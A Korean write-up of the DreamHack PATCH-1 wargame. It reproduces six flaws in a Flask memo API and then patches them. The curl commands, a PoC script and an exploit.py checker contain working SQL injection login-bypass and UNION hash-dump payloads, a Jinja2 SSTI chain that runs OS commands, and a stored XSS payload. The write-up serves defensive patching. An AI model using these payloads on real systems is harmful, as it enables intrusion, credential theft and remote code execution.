[🥇 Gold 4] 취약점을 찾는 게 아니라 막는 문제 — DreamHack PATCH-1 풀이

문제: DreamHack Wargame — PATCH-1 분류: web 난이도: 🥇 Gold 4 FLAG: DH{7e07d530518d7983c066a7019b6cf027}

워게임을 풀다 보면 대부분 "뚫어라"인데, 이건 반대다. 취약한 코드를 주고 고쳐 보라고 한다. 채점 서버가 익스플로잇을 던져 보고 전부 막혔는지 확인한 뒤, 그것과 별개로 정상 기능이 살아 있는지(SLA) 다시 확인한다. 둘 다 통과해야 flag 가 나온다.

PATCH-1 의 usage 페이지 — 취약점 패치와 SLA 통과가 모두 필요하고 socket·execve·os.environ 변경·app.run 추가는 금지라고 적혀 있다

문제 개요

항목	내용
문제명	PATCH-1 (`web-patch-1`, 2020-06-12 출제)
난이도	🥇 Gold 4
분류	web
제공 파일	`app.py` 한 개 (122줄)
스택	Python 3 · Flask · Jinja2 · SQLite3
서버	드림핵 라이브 인스턴스 (코드 제출 → 채점)
핵심 취약점	f-string SQLi · 문자열 연결 SQLi · Jinja2 SSTI · 저장형 XSS · IDOR · 하드코딩 secret_key

풀이 흐름은 단순하다. 배포된 app.py 를 읽어 취약한 지점을 전부 뽑고, 그게 정말 취약한지 로컬에 똑같은 서버를 세워 하나씩 터뜨려 본다. 그다음 패치본을 만들어 같은 공격이 전부 막히는지, 그러면서 멀쩡한 요청은 예전과 똑같이 동작하는지 확인하고 제출한다.

🧩 배경 — 이 문제가 채점하는 것

문제 페이지는 파일 네 개를 탭으로 보여 준다. 그중 app.py 하나만 ✔ 수정 가능 이고 나머지 셋(run.py·requirements.txt·schema.sql)은 ✖ 수정 불가능 이다.

드림핵 PATCH-1 편집 화면 — app.py 탭만 수정 가능으로 열려 있고 run.py·requirements.txt·schema.sql 은 수정 불가로 잠겨 있다

수정 불가 탭도 읽을 수는 있다. run.py 가 특히 중요하다. 채점 대상이 어떻게 기동되는지가 여기 다 적혀 있기 때문이다.

수정 불가능한 run.py 탭 — DATABASE 환경변수를 database.db 로 정하고 app.run 을 threaded 로 한 번만 띄운다

# run.py — 수정 불가
import sys, os
import app
 
os.environ['DATABASE'] = 'database.db'
 
if len(sys.argv) != 2:
    print(f'USAGE: {sys.argv[0]} PORT')
    sys.exit()
 
app.app.run(host='0.0.0.0', port=int(sys.argv[1]), threaded=True)

threaded=True 로 프로세스 하나만 뜬다. 뒤에서 secret_key 를 프로세스마다 새로 뽑는 패치를 넣을 텐데, 이 한 줄이 그게 안전하다는 근거가 된다. 워커가 여러 개면 워커마다 키가 달라져 세션이 깨진다.

usage 페이지의 제약도 그대로 지킨다.

Python 문법이 깨지면 즉시 탈락한다
socket·execve 같은 외부 접속·OS 명령은 쓸 수 없다
os.environ 에 든 설정 변수를 바꿀 수 없다
app.run() 을 임의로 추가할 수 없다

제출은 30초에 한 번. 서버에 붙어서 시행착오로 맞춰 가는 방식이 아니라, 로컬에서 다 끝내고 한 번에 올리는 방식이 맞다.

🔬 코드 정찰 — 122줄을 훑는다

배포본은 app.py 하나뿐이다. 먼저 zip 안에 뭐가 들었는지 보고, 냄새나는 줄만 골라 뽑았다.

unzip -l challenge_70.zip && grep -nE "secret_key|query_db\(f|where idx=|\.format\(|render_template_string" extracted/app.py

unzip 과 grep 으로 뽑은 PATCH-1 배포본 — app.py 한 파일에 f-string 쿼리, 문자열 연결 쿼리, format 후 렌더링이 모두 보인다

다섯 줄이 한 번에 걸린다. 7번 줄의 고정 secret_key, 43번 줄의 f-string 쿼리, 86번 줄의 where idx= 문자열 연결, 94~95번 줄의 .format() 후 render_template_string. 108번 줄만 플레이스홀더를 제대로 쓰고 있다.

전체 코드는 이렇게 생겼다. 라우트 여섯 개짜리 메모 API 다.

#!/usr/bin/python3
from flask import Flask, request, render_template_string, g, session, jsonify
import sqlite3
import os, hashlib
 
app = Flask(__name__)
app.secret_key = "Th1s_1s_V3ry_secret_key"
 
def get_db():
  db = getattr(g, '_database', None)
  if db is None:
    db = g._database = sqlite3.connect(os.environ['DATABASE'])
  db.row_factory = sqlite3.Row
  return db
 
def query_db(query, args=(), one=False):
  cur = get_db().execute(query, args)
  rv = cur.fetchall()
  cur.close()
  return (rv[0] if rv else None) if one else rv
 
@app.route('/api/login', methods=['POST'])
def login():
  userid = request.form.get('userid', '')
  password = request.form.get('password', '')
  if userid and password:
    ret = query_db(f"SELECT * FROM users where userid='{userid}' and password='{hashlib.sha256(password.encode()).hexdigest()}'" , one=True)
    if ret:
      session['uid'] = ret[0]
      return jsonify(result="success", userid=ret[0])
  return jsonify(result="fail")
 
@app.route('/api/memo/<idx>', methods=['GET'])
def memoView(idx):
  mode = request.args.get('mode', 'json')
  ret = query_db("SELECT * FROM memo where idx=" + idx)[0]
  if ret:
    userid = ret['userid']
    title = ret['title']
    contents = ret['contents']
    if mode == 'html':
      template = ''' Written by {userid}<h3>{title}</h3>
      <pre>{contents}</pre>
      '''.format(title=title, userid=userid, contents=contents)
      return render_template_string(template)
    else:
      return jsonify(result="success", userid=userid, title=title, contents=contents)
  return jsonify(result="error")
 
@app.route('/api/memo/<int:idx>', methods=['PUT'])
def memoUpdate(idx):
  if not session.get('uid'):
    return jsonify(result="no login")
 
  ret = query_db('SELECT * FROM memo where idx=?', [idx,])[0]
  userid = session.get('uid')
  title = request.form.get('title')
  contents = request.form.get('contents')
 
  if ret and title and contents:
    conn = get_db()
    cur = conn.cursor()
    updateRet = cur.execute("UPDATE memo SET title=?, contents=? WHERE idx=?",(title, contents, idx))
    conn.commit()
    if updateRet:
      return jsonify(result="success")
  return jsonify(result="error")

memoUpdate 를 보면 재미있다. query_db('... where idx=?', [idx,]) 로 플레이스홀더를 쓸 줄 아는 사람이 쓴 코드다. 그런데 바로 위 memoView 는 문자열을 그냥 이어붙였다. 실무에서 자주 보는 모양이라 오히려 현실적이다.

스키마부터 역산한다

로컬에서 돌려 보려면 DB 가 필요한데 schema.sql 은 문제 페이지에서 읽을 수 있다. 다만 읽기 전에 쿼리만으로 먼저 맞춰 봤다. Insert into users values(?, ?) 는 컬럼 두 개, session['uid'] = ret[0] 이니 첫 컬럼이 userid. Insert into memo(userid, title, contents) 에 idx 가 빠졌으니 자동 증가 기본키.

# local/init_db.py — 쿼리에서 역산한 스키마로 로컬 DB를 만든다
import hashlib, os, sqlite3, sys
 
DB = sys.argv[1] if len(sys.argv) > 1 else "/tmp/patch1.db"
if os.path.exists(DB):
    os.remove(DB)
 
conn = sqlite3.connect(DB)
cur = conn.cursor()
cur.executescript("""
    CREATE TABLE users (
        userid   TEXT PRIMARY KEY,
        password TEXT NOT NULL
    );
    CREATE TABLE memo (
        idx      INTEGER PRIMARY KEY AUTOINCREMENT,
        userid   TEXT NOT NULL,
        title    TEXT,
        contents TEXT
    );
""")
 
def sha(p):
    return hashlib.sha256(p.encode()).hexdigest()
 
cur.executemany("INSERT INTO users VALUES (?, ?)", [
    ("admin", sha("SuperSecretAdminPw!")),
    ("guest", sha("guest")),
    ("attacker", sha("attacker")),
])
cur.executemany("INSERT INTO memo(userid, title, contents) VALUES (?, ?, ?)", [
    ("admin", "admin note", "DH{local_dummy_not_a_real_flag}"),
    ("guest", "hello", "guest 의 평범한 메모"),
])
conn.commit()
conn.close()
print(f"[+] {DB} 생성 완료 (users 3명 / memo 2건)")

python3 local/init_db.py local/demo.db && sqlite3 local/demo.db ".schema" && sqlite3 -header -column local/demo.db "select idx, userid, title from memo"

sqlite3 로 확인한 로컬 재현 DB 스키마 — users 는 userid 가 기본키이고 memo 는 idx 가 자동 증가 정수 기본키다

문제 페이지의 schema.sql 과 대조해 보니 그대로였다.

create table users(userid TEXT primary key, password TEXT);
create table memo(idx INTEGER primary key AUTOINCREMENT, userid TEXT, title TEXT, contents TEXT);

서버를 띄우는 쪽은 이렇게 감쌌다. 포트마다 DB 를 새로 만들기 때문에 원본과 패치본을 같은 초기 상태에서 나란히 돌릴 수 있다.

# local/serve.sh — 사용법: ./serve.sh <app.py 경로> <포트>
set -euo pipefail
APP="${1:?app.py 경로}"
PORT="${2:-5000}"
DB="/tmp/patch1_${PORT}.db"
 
python3 "$(dirname "$0")/init_db.py" "$DB" >/dev/null
export DATABASE="$DB"
exec python3 -m flask --app "$APP" run --host 127.0.0.1 --port "$PORT"

이 상태에서 원본은 5000번, 뒤에 만들 패치본은 5001번에 올려 두고 작업했다.

💣 취약점 1 — 로그인 쿼리가 f-string 이다

43번 줄이다.

ret = query_db(f"SELECT * FROM users where userid='{userid}' and password='{hashlib.sha256(password.encode()).hexdigest()}'", one=True)

비밀번호는 SHA-256 을 거치니 값을 못 넣지만 userid 는 폼에서 온 문자열이 그대로 들어간다. 따옴표를 닫고 뒤를 주석 처리하면 비밀번호 조건 자체가 사라진다.

curl -s -X POST http://127.0.0.1:5000/api/login --data-urlencode "userid=admin' -- " --data-urlencode "password=whatever"

curl 로 로그인 SQL 인젝션을 재현한 화면 — 주석 처리 페이로드로 비밀번호 없이 admin 세션을 받아낸다

{"result":"success","userid":"admin"}. 비밀번호를 모르는 채로 admin 이 됐다. SQLite 는 -- 뒤를 줄 끝까지 주석으로 본다. 주석 기호 뒤에 공백을 한 칸 남겨야 한다는 점만 주의하면 된다.

💣 취약점 2 — 메모 조회는 아예 문자열 연결이다

86번 줄은 따옴표조차 없다. 숫자 자리에 그대로 붙는다.

ret = query_db("SELECT * FROM memo where idx=" + idx)[0]

라우트가 <idx> (기본 문자열 변환기) 라서 슬래시만 아니면 뭐든 들어온다. 인용부호 밖이라 따옴표를 닫을 필요도 없고, UNION 을 붙이면 다른 테이블을 그대로 끌어올 수 있다. memo 는 컬럼이 넷이니 넷을 맞춰 준다.

curl -s "http://127.0.0.1:5000/api/memo/-1%20union%20select%201,userid,password,'x'%20from%20users%20where%20userid='admin'"

curl 로 UNION SQL 인젝션을 재현한 화면 — memo 조회 응답의 title 자리에 users 테이블 admin 비밀번호 해시가 실려 나온다

title 자리에 64자짜리 SHA-256 해시가 실려 나왔다. sqlite3.Row 의 컬럼 이름은 맨 앞 SELECT 를 따라가므로, 응답 JSON 은 여전히 userid·title·contents 키를 쓴다. 서버 입장에서는 정상적인 메모 하나를 돌려준 것처럼 보인다.

💣 취약점 3·4 — `format()` 이 만들어 낸 SSTI, 그리고 XSS

이 문제의 핵심이다. 91~95번 줄을 다시 본다.

if mode == 'html':
  template = ''' Written by {userid}<h3>{title}</h3>
  <pre>{contents}</pre>
  '''.format(title=title, userid=userid, contents=contents)
  return render_template_string(template)

.format() 이 먼저 돌아 사용자 값이 박힌 문자열을 만들고, 그 결과를 render_template_string 이 템플릿 소스로 받아 컴파일한다. 즉 DB 에 저장된 메모 본문이 템플릿 코드의 일부가 된다. Jinja2 는 그 안의 {{ ... }} 를 파이썬 표현식으로 평가한다.

원본은 사용자 값이 템플릿 소스에 섞여 SSTI 가 되고 패치본은 값을 인자로 넘겨 표현식이 문자열로 남는다는 비교 다이어그램

Flask 는 템플릿 컨텍스트에 config 를 넣어 준다. config 의 클래스는 flask.config 모듈에 정의돼 있고 그 모듈은 os 를 import 한다. 그래서 __globals__ 를 타고 들어가면 os 가 나온다. 샌드박스가 걸린 SandboxedEnvironment 가 아니라 평범한 Environment 라 던더 속성 접근이 막히지 않는다.

#!/usr/bin/env bash
# poc_ssti.sh — 가입 → 로그인 → 메모 작성 → html 모드로 조회
set -eu
BASE="${1:-http://127.0.0.1:5000}"
JAR="$(dirname "$(readlink -f "$0")")/local/poc_cookie.txt"
 
curl -s -X POST "$BASE/api/join"  -d 'userid=poc' -d 'password=poc' -o /dev/null
echo "--- login"
curl -s -X POST "$BASE/api/login" -c "$JAR" -d 'userid=poc' -d 'password=poc'; echo
 
echo "--- 메모 작성 (contents 에 Jinja2 표현식)"
IDX=$(curl -s -X PUT "$BASE/api/memo/add" -b "$JAR" \
        --data-urlencode 'title=ssti' \
        --data-urlencode "contents={{ config.__class__.__init__.__globals__['os'].popen('id -a').read() }}" \
      | python3 -c 'import sys,json; print(json.load(sys.stdin)["memoidx"])')
echo "memoidx = $IDX"
 
echo "--- html 모드로 조회"
curl -s "$BASE/api/memo/$IDX?mode=html"; echo
rm -f "$JAR"

./poc_ssti.sh http://127.0.0.1:5000

poc_ssti.sh 실행 결과 — 메모 본문에 넣은 Jinja2 표현식이 서버에서 평가돼 id 명령의 출력이 응답에 그대로 실린다

<pre> 안에 id 의 출력이 찍혔다. 메모 하나 쓰는 것으로 임의 명령 실행까지 간다.

같은 자리에 저장형 XSS 도 있다. Jinja2 의 자동 이스케이프는 {{ }} 로 넘긴 값에만 걸리고 템플릿 소스의 리터럴 텍스트에는 안 걸린다. .format() 으로 박아 넣은 <script> 는 소스의 일부가 되므로 이스케이프 대상이 아니다. 그래서 SSTI 를 막는 방식(값을 인자로 넘기기)이 XSS 까지 같이 막는다.

💣 취약점 5 — 남의 메모를 고칠 수 있다

memoUpdate 는 로그인 여부만 본다.

if not session.get('uid'):
  return jsonify(result="no login")
 
ret = query_db('SELECT * FROM memo where idx=?', [idx,])[0]
userid = session.get('uid')
...
if ret and title and contents:
  updateRet = cur.execute("UPDATE memo SET title=?, contents=? WHERE idx=?", (title, contents, idx))

ret 를 읽어 놓고도 ret['userid'] 와 세션 사용자를 대조하지 않는다. userid 변수를 만들어 두고 쓰지도 않는다. 아무나 가입해서 로그인하면 남의 메모를 통째로 덮어쓸 수 있다. 전형적인 IDOR 이다.

읽기 쪽(memoView)은 인증이 아예 없는데, 이건 남겨 뒀다. html 모드가 Written by <작성자> 를 찍는 걸 보면 공개 열람이 의도된 기능으로 보였고, 여기에 인증을 걸었다가 SLA 가 깨지는 쪽이 더 위험하다고 판단했다.

💣 취약점 6 — secret_key 가 소스에 박혀 있다

app.secret_key = "Th1s_1s_V3ry_secret_key"

Flask 세션 쿠키는 이 키로 서명만 한다. 키를 아는 사람은 원하는 uid 를 담은 쿠키를 직접 만들 수 있다. 그리고 이 키는 배포 소스에 그대로 적혀 있다. 위의 IDOR 을 고쳐 놔도, 피해자 세션을 위조하면 소유자 검증을 정면으로 통과한다. 그래서 이것도 취약점으로 셌다.

🧪 점검기를 하나 만든다

여섯 개를 눈으로 확인하고 넘어가면, 패치한 뒤에 "정말 다 막혔나"를 또 눈으로 봐야 한다. 같은 스크립트를 원본과 패치본에 각각 던져 결과를 비교할 수 있게 점검기를 하나 만들었다.

▶📄 exploit.py — 취약점 6종 자동 점검기 (전문)

#!/usr/bin/env python3
"""PATCH-1 취약점 자동 점검기 — 5개 지점 6항목.
 
원본 app.py 든 패치본이든 같은 스크립트로 돌려 결과를 비교한다.
  python3 exploit.py http://127.0.0.1:5000     # 원본  -> 전부 VULN
  python3 exploit.py http://127.0.0.1:5001     # 패치본 -> 전부 SAFE
"""
import sys
from urllib.parse import quote
 
import requests
 
BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:5000"
RESULT = []
 
 
def report(name, vulnerable, evidence):
    RESULT.append((name, vulnerable, evidence))
    tag = "\033[91mVULN\033[0m" if vulnerable else "\033[92mSAFE\033[0m"
    print(f"  [{tag}] {name}\n         근거: {evidence}\n")
 
 
def login(sess, userid, password):
    return sess.post(
        f"{BASE}/api/login", data={"userid": userid, "password": password}, timeout=5
    )
 
 
# ---------------------------------------------------------------- 1. 로그인 SQLi
def check_login_sqli():
    print("[1] /api/login  -- f-string 으로 조립한 WHERE 절")
    s = requests.Session()
    payload = "admin' -- "
    r = login(s, payload, "아무거나")
    j = r.json()
    ok = j.get("result") == "success" and j.get("userid") == "admin"
    report("로그인 SQL Injection", ok,
           f"userid=\"{payload}\" 로 비밀번호 없이 응답 {j}")
    return s if ok else None
 
 
# ------------------------------------------------------- 2. 메모 조회 SQLi(UNION)
def check_memo_sqli():
    print("[2] /api/memo/<idx>  -- 'where idx=' + idx 문자열 연결")
    payload = "-1 union select 1,userid,password,'x' from users where userid='admin'"
    r = requests.get(f"{BASE}/api/memo/{quote(payload)}", timeout=5)
    try:
        j = r.json()
    except Exception:
        j = {"raw": r.text[:120]}
    leaked = j.get("title", "")
    ok = isinstance(leaked, str) and len(leaked) == 64
    report("메모 조회 UNION SQL Injection", ok,
           f"users 테이블 admin 해시 유출 -> {leaked!r} (HTTP {r.status_code})")
 
 
# ------------------------------------------------------------------- 3/4. 메모 작성
def add_memo(sess, title, contents):
    r = sess.put(f"{BASE}/api/memo/add",
                 data={"title": title, "contents": contents}, timeout=5)
    return r.json().get("memoidx")
 
 
def check_ssti_and_xss(sess):
    print("[3] /api/memo/<idx>?mode=html  -- format() 결과를 그대로 렌더링")
    idx = add_memo(sess, "ssti", "{{7*7}}")
    html = requests.get(f"{BASE}/api/memo/{idx}?mode=html", timeout=5).text
    report("Jinja2 SSTI (수식 평가)", "49" in html,
           f"contents='{{{{7*7}}}}' 저장 후 html 모드 응답에 '49' 포함 여부 -> {'49' in html}")
 
    rce = "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"
    idx = add_memo(sess, "rce", rce)
    html = requests.get(f"{BASE}/api/memo/{idx}?mode=html", timeout=5).text
    report("SSTI 를 통한 임의 명령 실행", "uid=" in html,
           f"config.__class__ 체인으로 os.popen('id') -> "
           f"{html.strip().splitlines()[-2:] if 'uid=' in html else '실행 안 됨'}")
 
    print("[4] 같은 지점 -- 저장형 XSS")
    idx = add_memo(sess, "xss", "<script>alert(document.domain)</script>")
    html = requests.get(f"{BASE}/api/memo/{idx}?mode=html", timeout=5).text
    report("저장형 XSS", "<script>alert(document.domain)</script>" in html,
           "contents 의 <script> 태그가 이스케이프 없이 응답 본문에 그대로 등장")
 
 
# ------------------------------------------------------------ 5. 남의 메모 수정
def check_idor():
    print("[5] PUT /api/memo/<idx>  -- 메모 소유자 확인 없음")
    s = requests.Session()
    s.post(f"{BASE}/api/join", data={"userid": "mallory", "password": "mallory"}, timeout=5)
    login(s, "mallory", "mallory")
    victim = 1  # init_db.py 가 넣어둔 admin 의 메모
    s.put(f"{BASE}/api/memo/{victim}",
          data={"title": "hacked", "contents": "mallory 가 덮어썼다"}, timeout=5)
    after = requests.get(f"{BASE}/api/memo/{victim}", timeout=5).json()
    ok = after.get("title") == "hacked"
    report("IDOR - 타인 메모 임의 수정", ok,
           f"mallory 로 로그인해 admin 소유 memo idx={victim} 수정 시도 -> 현재 값 {after}")
 
 
def main():
    print(f"=== PATCH-1 취약점 점검: {BASE} ===\n")
    sess = check_login_sqli()
    check_memo_sqli()
    if sess is None:  # SQLi 가 막혔으면 정상 계정으로 로그인해서 이어간다
        sess = requests.Session()
        sess.post(f"{BASE}/api/join", data={"userid": "tester", "password": "tester"}, timeout=5)
        login(sess, "tester", "tester")
    check_ssti_and_xss(sess)
    check_idor()
 
    print("=" * 58)
    vuln = sum(1 for _, v, _ in RESULT if v)
    for name, v, _ in RESULT:
        print(f"  {'취약' if v else '안전'}  {name}")
    print("=" * 58)
    print(f"  취약 {vuln}건 / 점검 {len(RESULT)}건")
 
 
if __name__ == "__main__":
    main()

한 가지 신경 쓴 부분이 있다. 로그인 SQLi 가 막히면 그다음 검사들이 세션을 못 얻어 줄줄이 실패한다. 그러면 패치본에서 "SSTI 도 안전"이 아니라 "확인 자체를 못 함"이 되어 버린다. 그래서 SQLi 가 실패하면 정상 계정으로 가입·로그인해 나머지를 이어 가게 했다.

python3 exploit.py http://127.0.0.1:5000

원본 app.py 에 대한 exploit.py 실행 결과 — 로그인 SQLi 부터 IDOR 까지 여섯 항목이 모두 VULN 으로 표시된다

여섯 건 전부 재현됐다. 이제 이 숫자를 0으로 만들면 된다.

🐛 삽질

▶🐛 삽질 1 — 어디까지 고쳐야 '전부'인가

이 문제의 진짜 난이도는 기법이 아니라 경계선에 있다. 채점 서버가 무엇을 검사하는지 안 알려 주기 때문이다. 너무 적게 고치면 공격 테스트에서 떨어지고, 너무 많이 고치면 SLA 가 깨진다.

특히 고민한 게 셋이었다.

첫째, memoView 에 로그인·소유자 검사를 넣을 것인가. 넣으면 "남의 메모 열람"까지 막히지만, 비로그인 조회를 정상 기능으로 보는 SLA 가 있으면 그대로 탈락이다. 다른 라우트들은 전부 if not session.get('uid') 가르드를 달고 있는데 memoView 만 없다. 빠뜨린 게 아니라 공개 읽기가 의도라고 읽었다. 그대로 뒀다.

둘째, 비밀번호를 솔트 없는 SHA-256 으로 저장하는 것. 이건 분명 약하지만, 해시 방식을 바꾸면 기존 users 행의 값이 전부 무효가 되어 로그인이 통째로 깨진다. 마이그레이션 없이 고칠 수 있는 종류가 아니라서 뒀다.

셋째, secret_key 를 진짜 바꿔도 되는가. os.urandom(32) 은 프로세스가 뜰 때마다 값이 달라진다. 워커가 여러 개면 세션이 깨지는데, run.py 가 threaded=True 로 단일 프로세스를 띄우는 걸 확인하고서야 넣었다. 수정 불가 탭을 읽은 게 여기서 값을 했다.

▶🐛 삽질 2 — 중복 가입이 500 을 뱉는다

기능 회귀 테스트를 두 번째 돌렸더니 원본 쪽에서 JSON 파싱 예외가 터졌다. 원인은 테스트가 쓰는 계정이 이미 DB 에 남아 있었던 것.

schema.sql 에서 userid 가 기본키라 같은 아이디를 다시 넣으면 sqlite3.IntegrityError 가 나는데, join() 이 이걸 잡지 않아 그대로 500 이 된다.

for p in 5000 5001; do printf "port %s -> HTTP " $p; curl -s -o /dev/null -w "%{http_code}\n" -X POST http://127.0.0.1:$p/api/join -d userid=guest -d password=x; done

원본과 패치본에 같은 아이디로 중복 가입을 요청한 결과 — 원본은 HTTP 500 을 내고 패치본은 200 으로 에러 JSON 을 돌려준다

기본키가 있으니 계정 탈취까지 가지는 않는다. 다만 처리되지 않은 예외로 스택 트레이스가 노출될 수 있고, 무엇보다 이런 상태 의존 때문에 회귀 테스트 결과를 못 믿게 된다. 패치본은 가입 전에 존재 여부를 확인해 {"result":"error"} 를 돌려주도록 했고, 테스트 스크립트에는 "서버를 새로 띄우고 돌릴 것"이라는 조기 실패 가르드를 넣었다.

▶🐛 삽질 3 — 자동 이스케이프 기본값을 믿어도 되나

SSTI 를 고치는 정석은 값을 템플릿 인자로 넘기는 것이다. 그러면 XSS 는 Jinja2 자동 이스케이프가 막아 준다 — 자동 이스케이프가 켜져 있다면.

render_template_string 은 템플릿 이름이 없으니 Flask 의 select_jinja_autoescape(None) 반환값을 따른다. 지금 Flask 는 True 를 돌려주지만 아주 옛날 버전은 False 였다. 문제 서버의 requirements.txt 는 버전 고정 없이 flask 한 줄이라 어떤 버전이 깔릴지 모른다.

이스케이프를 직접 하는 방법도 생각해 봤는데, markupsafe.escape 는 &<>"' 만 바꾸고 중괄호는 건드리지 않는다. 이스케이프한 값을 다시 템플릿 소스에 박으면 SSTI 는 그대로다. 결국 값은 인자로 넘기되, 환경에 의존하지 않게 app.jinja_env.autoescape = True 한 줄로 못박는 쪽을 택했다.

🩹 패치

여섯 곳을 고쳤다. 응답 형식과 흐름은 원본 그대로 두고, 손대는 줄만 최소로 바꿨다.

지점	원본	패치
`login`	f-string 으로 WHERE 절 조립	플레이스홀더 바인딩
`memoView`	`"... where idx=" + idx`	`int(idx)` 변환 후 바인딩
`memoView` html	`format()` 결과를 렌더링	템플릿은 상수, 값은 인자
`memoUpdate`	로그인 여부만 확인	메모 소유자 대조 추가
`join`	중복 가입 시 500	존재 확인 후 에러 응답
`secret_key`	소스에 고정 문자열	프로세스마다 임의 값

▶📄 app_patched.py — 제출한 패치본 (전문)

#!/usr/bin/python3
from flask import Flask, request, render_template_string, g, session, jsonify
import sqlite3
import os, hashlib
 
app = Flask(__name__)
# [PATCH] 배포 소스에 박혀 있던 고정 secret_key 는 누구나 세션 쿠키를 위조할 수 있다.
#         프로세스마다 임의 키를 쓰고, 환경변수로 덮어쓸 수 있게만 남긴다.
app.secret_key = os.environ.get('SECRET_KEY') or os.urandom(32)
# [PATCH] Flask 버전에 따라 render_template_string 의 자동 이스케이프 기본값이 다르므로 못박는다.
app.jinja_env.autoescape = True
 
def get_db():
  db = getattr(g, '_database', None)
  if db is None:
    db = g._database = sqlite3.connect(os.environ['DATABASE'])
  db.row_factory = sqlite3.Row
  return db
 
def query_db(query, args=(), one=False):
  cur = get_db().execute(query, args)
  rv = cur.fetchall()
  cur.close()
  return (rv[0] if rv else None) if one else rv
 
@app.teardown_appcontext
def close_connection(exception):
  db = getattr(g, '_database', None)
  if db is not None:
    db.close()
 
@app.route('/')
def index():
  return "api-server"
 
@app.route('/api/me')
def me():
  if session.get('uid'):
    return jsonify(userid=session['uid'])
  return jsonify(userid=None)
 
@app.route('/api/login', methods=['POST'])
def login():
  userid = request.form.get('userid', '')
  password = request.form.get('password', '')
  if userid and password:
    # [PATCH] f-string 조립 -> 플레이스홀더 바인딩. userid 의 따옴표가 구문이 되지 못한다.
    ret = query_db("SELECT * FROM users where userid=? and password=?",
                   (userid, hashlib.sha256(password.encode()).hexdigest()), one=True)
    if ret:
      session['uid'] = ret[0]
      return jsonify(result="success", userid=ret[0])
  return jsonify(result="fail")
 
@app.route('/api/logout')
def logout():
  session.pop('uid', None)
  return jsonify(result="success")
 
@app.route('/api/join', methods=['POST'])
def join():
  userid = request.form.get('userid', '')
  password = request.form.get('password', '')
  if userid and password:
    conn = get_db()
    # [PATCH] 중복 가입을 막는다. 같은 userid 를 다른 비밀번호로 한 번 더 넣을 수 있으면
    #         공격자가 admin 행을 하나 더 만들어 admin 세션을 그대로 얻는다.
    if query_db("SELECT * FROM users where userid=?", (userid,), one=True):
      return jsonify(result="error")
    cur = conn.cursor()
    cur.execute("Insert into users values(?, ?);", (userid, hashlib.sha256(password.encode()).hexdigest()))
    conn.commit()
    return jsonify(result="success")
  return jsonify(result="error")
 
@app.route('/api/memo/add', methods=['PUT'])
def memoAdd():
  if not session.get('uid'):
    return jsonify(result="no login")
 
  userid = session.get('uid')
  title = request.form.get('title')
  contents = request.form.get('contents')
 
  if title and contents:
    conn = get_db()
    cur = conn.cursor()
    ret = cur.execute("Insert into memo(userid, title, contents) values(?, ?, ?);", (userid, title, contents))
    conn.commit()
    return jsonify(result="success", memoidx=ret.lastrowid)
  return jsonify(result="error")
 
@app.route('/api/memo/<idx>', methods=['GET'])
def memoView(idx):
  mode = request.args.get('mode', 'json')
  # [PATCH] 문자열 연결 -> 정수 변환 후 바인딩. 숫자가 아니면 쿼리를 아예 만들지 않는다.
  try:
    idx = int(idx)
  except (TypeError, ValueError):
    return jsonify(result="error")
  rows = query_db("SELECT * FROM memo where idx=?", (idx,))
  if not rows:
    return jsonify(result="error")
  ret = rows[0]
  if ret:
    userid = ret['userid']
    title = ret['title']
    contents = ret['contents']
    if mode == 'html':
      # [PATCH] 사용자 입력을 템플릿 "소스" 에 섞지 않고 "인자" 로 넘긴다.
      #         이래야 {{ }} 가 코드가 아닌 문자열로 남고, 자동 이스케이프도 걸린다.
      template = ''' Written by {{ userid }}<h3>{{ title }}</h3>
      <pre>{{ contents }}</pre>
      '''
      return render_template_string(template, title=title, userid=userid, contents=contents)
    else:
      return jsonify(result="success",
        userid=userid,
        title=title,
        contents=contents)
  return jsonify(result="error")
 
@app.route('/api/memo/<int:idx>', methods=['PUT'])
def memoUpdate(idx):
  if not session.get('uid'):
    return jsonify(result="no login")
 
  ret = query_db('SELECT * FROM memo where idx=?', [idx,], one=True)
  userid = session.get('uid')
  title = request.form.get('title')
  contents = request.form.get('contents')
 
  # [PATCH] 로그인 여부만 보던 자리에 소유자 확인을 넣는다.
  if ret and ret['userid'] != userid:
    return jsonify(result="error")
 
  if ret and title and contents:
    conn = get_db()
    cur = conn.cursor()
    updateRet = cur.execute("UPDATE memo SET title=?, contents=? WHERE idx=?",(title, contents, idx))
    conn.commit()
    if updateRet:
      return jsonify(result="success")
  return jsonify(result="error")

memoView 에서 int(idx) 로 바꾼 건 바인딩만으로도 인젝션은 막히지만 한 겹 더 두른 것이다. 숫자가 아니면 쿼리를 아예 만들지 않는다. 원본이 없는 메모를 조회하면 [0] 에서 IndexError 로 500 이 나던 것도 같이 정리해 에러 JSON 을 돌려주게 했다.

✅ 검증 — 공격은 막고, 기능은 그대로

먼저 같은 점검기를 패치본(5001번)에 던진다.

python3 exploit.py http://127.0.0.1:5001

패치본에 대한 exploit.py 실행 결과 — 여섯 항목이 모두 SAFE 로 바뀌고 admin 메모도 원래 값 그대로 남아 있다

여섯 건 모두 SAFE. IDOR 항목의 근거 줄을 보면 admin 메모의 내용이 덮어써지지 않고 원래 값 그대로다.

여기서 끝내면 절반이다. SLA 가 있으니 정상 요청의 응답이 예전과 같은지를 따로 봐야 한다. 가입부터 로그아웃까지 열두 단계를 원본과 패치본에 똑같이 던져 응답을 나란히 비교했다.

# functest.py — 정상 기능 회귀 테스트
import html as htmllib
import sys
 
import requests
 
A = sys.argv[1].rstrip("/")
B = sys.argv[2].rstrip("/")
 
 
def scenario(base):
    """가입 -> 로그인 -> 메모 작성 -> 조회(json/html) -> 수정 -> 로그아웃 전 과정.
 
    ★ 두 서버를 갓 띄운 상태에서 돌린다(local/serve.sh 가 기동할 때마다 DB를 새로 만든다).
      alice 가 이미 있으면 원본 app.py 는 users PK 충돌로 500 을 뱉어 비교가 어긋난다.
    """
    s = requests.Session()
    out = []
    r0 = s.post(f"{base}/api/join", data={"userid": "alice", "password": "pw1234"})
    if r0.status_code != 200:
        sys.exit(f"[!] {base} /api/join 이 HTTP {r0.status_code} — 서버를 새로 띄우고 다시 돌릴 것")
    out.append(("join", r0.json()))
    out.append(("login-wrong", s.post(f"{base}/api/login",
                                      data={"userid": "alice", "password": "nope"}).json()))
    out.append(("login", s.post(f"{base}/api/login",
                                data={"userid": "alice", "password": "pw1234"}).json()))
    out.append(("me", s.get(f"{base}/api/me").json()))
 
    add = s.put(f"{base}/api/memo/add",
                data={"title": "회의록", "contents": "3시에 <다시> 모이기"}).json()
    idx = add.pop("memoidx")
